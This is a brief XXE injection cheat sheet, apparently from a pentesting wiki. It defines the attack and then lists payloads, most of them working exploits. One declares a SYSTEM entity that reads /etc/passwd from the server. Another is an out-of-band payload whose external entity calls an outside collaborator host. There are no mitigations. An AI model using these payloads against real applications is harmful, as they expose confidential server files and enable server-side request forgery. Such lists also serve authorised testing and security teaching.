XML External Entity Injection (XXE)

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Payloads

Basic XML Examples

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>Parz</firstName>
 <lastName>ival</lastName>
</userInfo>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">]
>
<methodCall><methodName>&test;</methodName></methodCall>

Read a file:

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY parzival SYSTEM "file:///etc/passwd"> ]>
<data>&parzival;</data>

Out of Band

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>

Introductions to XXE

References

Last updated